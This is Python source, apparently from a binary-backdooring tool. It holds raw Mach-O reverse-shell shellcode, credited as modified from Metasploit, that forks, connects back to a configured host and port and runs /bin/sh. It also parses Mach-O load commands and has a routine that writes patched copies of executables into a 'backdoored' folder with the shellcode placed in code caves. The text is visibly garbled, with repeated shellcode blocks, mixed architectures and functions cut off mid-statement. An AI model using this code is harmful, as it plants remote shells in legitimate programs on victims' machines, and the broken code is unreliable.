import os import struct import shutil import subprocess class macho_intel32_shellcode(): """ Mach-O Intel x32 shellcode class """ def __init__(self, HOST='127.0.0.1', PORT=8080, jumpLocation=0x0, SUPPLIED_SHELLCODE=None, BEACON=15): self.HOST = HOST self.PORT = PORT self.jumpLocation = jumpLocation self.SUPPLIED_SHELLCODE = SUPPLIED_SHELLCODE self.BEACON = BEACON self.shellcode = "" def pack_ip_addresses(self): hostocts = [] for i, octet in enumerate(self.HOST.split('.')): hostocts.append(int(octet)) self.hostip = struct.pack('=BBBB', hostocts[0], hostocts[1], hostocts[2], hostocts[3]) return self.hostip def returnshellcode(self): return self.shellcode def delay_reverse_shell_tcp(self): #Modified from metasploit if self.PORT is None: print ("Must provide port") return False if self.HOST is None: print ("This payload requires a HOST parameter -H") return False self.shellcode2 = "\xB8\x74\x00\x00\x02\xcd\x80" # put system time in eax self.shellcode2 += "\x05" # add eax, 15 for seconds self.shellcode2 += struct.pack("H", self.PORT) self.shellcode2 += ("\x89\xe7\x31\xc0\x50" "\x6a\x01\x6a\x02\x6a\x10\xb0\x61\xcd\x80\x57\x50\x50\x6a\x62" "\x58\xcd\x80\x50\x6a\x5a\x58\xcd\x80\xff\x4f\xe8\x79\xf6\x68" "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x54\x53" "\x50\xb0\x3b\xcd\x80" ) self.shellcode1 = ("\xB8\x02\x00\x00\x02\xcd\x80\x85\xd2") self.shellcode1 += "\x0f\x84" if self.jumpLocation < 0: self.shellcode1 += struct.pack("H", self.PORT) self.shellcode2 += ("\x89\xe7\x31\xc0\x50" "\x6a\x01\x6a\x02\x6a\x10\xb0\x61\xcd\x80\x57\x50\x50\x6a\x62" "\x58\xcd\x80\x50\x6a\x5a\x58\xcd\x80\xff\x4f\xe8\x79\xf6\x68" "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x54\x53" "\x50\xb0\x3b\xcd\x80" ) #Time Check self.shellcode2 += "\xB8\x74\x00\x00\x02\xcd\x80" # put system time in eax self.shellcode2 += "\x05" # add eax, 15 for seconds self.shellcode2 += struct.pack("H", self.PORT) self.shellcode2 += ("\x89\xe7\x31\xc0\x50" "\x6a\x01\x6a\x02\x6a\x10\xb0\x61\xcd\x80\x57\x50\x50\x6a\x62" "\x58\xcd\x80\x50\x6a\x5a\x58\xcd\x80\xff\x4f\xe8\x79\xf6\x68" "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x54\x53" "\x50\xb0\x3b\xcd\x80" ) self.shellcode1 = ("\xB8\x02\x00\x00\x02\xcd\x80\x85\xd2") self.shellcode1 += "\x0f\x84" if self.jumpLocation < 0: self.shellcode1 += struct.pack("H", self.PORT) self.shellcode2 += self.pack_ip_addresses() self.shellcode2 += ("\x56\x48\x89\xe6\x6a\x10\x5a\x0f" "\x05\x4c\x89\xe7\xb8\x5a\x00\x00\x02\x48\x31\xf6\x0f\x05\xb8\x5a" "\x00\x00\x02\x48\xff\xc6\x0f\x05\x48\x31\xc0\xb8\x3b\x00\x00\x02" "\xe8\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c" "\x24\x48\x31\xd2\x52\x57\x48\x89\xe6\x0f\x05" ) self.shellcode1 = ("\xB8\x02\x00\x00\x02\x0f\x05\x85\xd2") # FORK() self.shellcode1 += "\x0f\x84" # \x4c\x03\x00\x00" # <-- Points to LC_MAIN/LC_UNIXTREADS offset if self.jumpLocation < 0: self.shellcode1 += struct.pack("H", self.PORT) self.shellcode2 += self.pack_ip_addresses() self.shellcode2 += ("\x56\x48\x89\xe6\x6a\x10\x5a\x0f" "\x05\x4c\x89\xe7\xb8\x5a\x00\x00\x02\x48\x31\xf6\x0f\x05\xb8\x5a" "\x00\x00\x02\x48\xff\xc6\x0f\x05\x48\x31\xc0\xb8\x3b\x00\x00\x02" "\xe8\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c" "\x24\x48\x31\xd2\x52\x57\x48\x89\xe6\x0f\x05" ) self.shellcode1 = ("\xB8\x02\x00\x00\x02\x0f\x05\x85\xd2") # FORK() self.shellcode1 += "\x0f\x84" # \x4c\x03\x00\x00" # <-- Points to LC_MAIN/LC_UNIXTREADS offset if self.jumpLocation < 0: self.shellcode1 += struct.pack("H", self.PORT) self.shellcode2 += self.pack_ip_addresses() self.shellcode2 += ("\x56\x48\x89\xe6\x6a\x10\x5a\x0f" "\x05\x4c\x89\xe7\xb8\x5a\x00\x00\x02\x48\x31\xf6\x0f\x05\xb8\x5a" "\x00\x00\x02\x48\xff\xc6\x0f\x05\x48\x31\xc0\xb8\x3b\x00\x00\x02" "\xe8\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c" "\x24\x48\x31\xd2\x52\x57\x48\x89\xe6\x0f\x05" ) #TIME CHECK self.shellcode2 += "\xB8\x74\x00\x00\x02\x0f\x05" # put system time in rax self.shellcode2 += "\x48\x05" self.shellcode2 += struct.pack("I", self.bin.read(4))[0] for arch in range(ArchNo): self.fat_hdrs[arch] = self.fat_header() for hdr, value in self.fat_hdrs.iteritems(): if int(value['CPU Type'], 16) in self.supported_CPU_TYPES: self.bin.seek(int(value['Offset'], 16), 0) self.mach_hdrs[hdr] = self.mach_header() self.load_cmds[hdr] = self.parse_loadcommands(self.mach_hdrs[hdr]) if self.mach_hdrs is False: return False else: #Not Fat Header self.bin.seek(0) self.mach_hdrs[0] = self.mach_header() self.load_cmds[0] = self.parse_loadcommands(self.mach_hdrs[0]) def fat_header(self): header = {} header["CPU Type"] = hex(struct.unpack(">I", self.bin.read(4))[0]) header["CPU SubType"] = hex(struct.unpack(">I", self.bin.read(4))[0]) header["Offset"] = hex(struct.unpack(">I", self.bin.read(4))[0]) header["Size"] = hex(struct.unpack(">I", self.bin.read(4))[0]) header["Align"] = hex(struct.unpack(">I", self.bin.read(4))[0]) return header def mach_header(self): header = {} header['beginningOfHeader'] = self.bin.tell() try: header['MagicNumber'] = hex(struct.unpack(" 0: if '__text' in item['DATA'][0x30 + i:0x40 + i]: text_section = { 'sectionName': item['DATA'][0x30 + i:0x40 + i], 'segmentName': item['DATA'][0x40 + i:0x50 + i], 'Address': item['DATA'][0x50 + i:0x54 + i], 'LOCAddress': locationInFIle + 0x50 + i, 'Size': item['DATA'][0x54 + i:0x58 + i], 'LOCTextSize': locationInFIle + 0x54 + i, 'Offset': item['DATA'][0x58 + i:0x5c + i], 'LocTextOffset': locationInFIle + 0x58 + i, 'Alignment': item['DATA'][0x5c + i:0x60 + i], 'Relocations': item['DATA'][0x60 + i:0x64 + i], 'NumberOfRelocs': item['DATA'][0x64 + i:0x68 + i], 'Flags': item['DATA'][0x68 + i:0x6c + i], 'Reserved1': item['DATA'][0x6c + i:0x70 + i], 'Reserved2': item['DATA'][0x70 + i:0x74 + i], } break else: count -= 1 i += 0x40 elif item['DATA'][0:6] == "__TEXT" and item['Command'] == 0x19: text_segment = { 'segname': item['DATA'][0:0x10], 'VMAddress': item['DATA'][0x10:0x18], 'VMSize': item['DATA'][0x18:0x20], 'File Offset': item['DATA'][0x20:0x28], 'File Size': item['DATA'][0x28:0x30], 'MaxVMProt': item['DATA'][0x30:0x34], 'InitalVMProt': item['DATA'][0x34:0x38], 'NumberOfSections': item['DATA'][0x38:0x3C], 'Flags': item['DATA'][0x3c:0x40] } count = struct.unpack(" 0: if '__text' in item['DATA'][0x40 + i:0x50 + i]: text_section = { 'sectionName': item['DATA'][0x40 + i:0x50 + i], 'segmentName': item['DATA'][0x50 + i:0x60 + i], 'Address': item['DATA'][0x60 + i:0x68 + i], 'LOCAddress': locationInFIle + 0x60 + i, 'Size': item['DATA'][0x68 + i:0x70 + i], 'LOCTextSize': locationInFIle + 0x68 + i, 'Offset': item['DATA'][0x70 + i:0x74 + i], 'LocTextOffset': locationInFIle + 0x70 + i, 'Alignment': item['DATA'][0x74 + i:0x78 + i], 'Relocations': item['DATA'][0x78 + i:0x7c + i], 'NumberOfRelocs': item['DATA'][0x7c + i:0x80 + i], 'Flags': item['DATA'][0x80 + i:0x84 + i], 'Reserved1': item['DATA'][0x84 + i:0x88 + i], 'Reserved2': item['DATA'][0x88 + i:0x8c + i], 'Reserved3': item['DATA'][0x8c + i:0x90 + i], } break else: count -= 1 i += 0x4c if item['Command'] == 0x80000028: LC_MAIN = { 'LOCEntryOffset': locationInFIle, 'EntryOffset': item['DATA'][0x0:0x8], 'StackSize': item['DATA'][0x8:0x16] } elif item['Command'] == 0x00000005 and struct.unpack(" last_cmd: last_cmd = item['last_cmd'] _tempDict = {'text_segment': text_segment, 'text_section': text_section, 'LC_MAIN': LC_MAIN, 'LC_UNIXTREAD': LC_UNIXTREAD, 'LC_CODE_SIGNATURE': LC_CODE_SIGNATURE, 'LC_DYLIB_CODE_SIGN_DRS': LC_DYLIB_CODE_SIGN_DRS, 'last_cmd': last_cmd } return _tempDict def patch_macho(self): if self.supported is False: print self.FILE, "is not supported." return False self.output_options() if self.INJECTOR is False and self.DELETE_ORIGINAL is False: if not os.path.exists("backdoored"): os.makedirs("backdoored") os_name = os.name if os_name == 'nt': self.backdoorfile = "backdoored\\" + self.OUTPUT else: self.backdoorfile = "backdoored/" + self.OUTPUT shutil.copy2(self.FILE, self.backdoorfile) else: self.backdoorfile = self.FILE for key, value in self.mach_hdrs.iteritems(): MagicNumber = value['MagicNumber'] text_section = self.ImpValues[key]['text_section'] last_cmd = self.ImpValues[key]['last_cmd'] LC_MAIN = self.ImpValues[key]['LC_MAIN'] LC_UNIXTREAD = self.ImpValues[key]['LC_UNIXTREAD'] if self.binary_header == "\xca\xfe\xba\xbe": offset = int(self.fat_hdrs[key]['Offset'], 16) else: offset = 0x0 LC_CODE_SIGNATURE = self.ImpValues[key]['LC_CODE_SIGNATURE'] LC_DYLIB_CODE_SIGN_DRS = self.ImpValues[key]['LC_DYLIB_CODE_SIGN_DRS'] patchx64 = True patchx86 = True if self.FAT_FILE is True and self.FAT_PRIORITY != 'ALL': if self.FAT_PRIORITY.lower() == 'x64': patchx86 = False if self.FAT_PRIORITY.lower() == 'x86': patchx64 = False with open(self.backdoorfile, 'r+b') as bin: if MagicNumber == '0xfeedfacf' and patchx64 is True: print "[*] Patching x86_64 Mach-O Binary" cave_size = struct.unpack(" cave_size: print "[!] Shellcode is larger than available space" return False startingLocation = struct.unpack(" cave_size: print "[!] Shellcode is larger than available space" return False #FIND Current Location startingLocation = struct.unpack("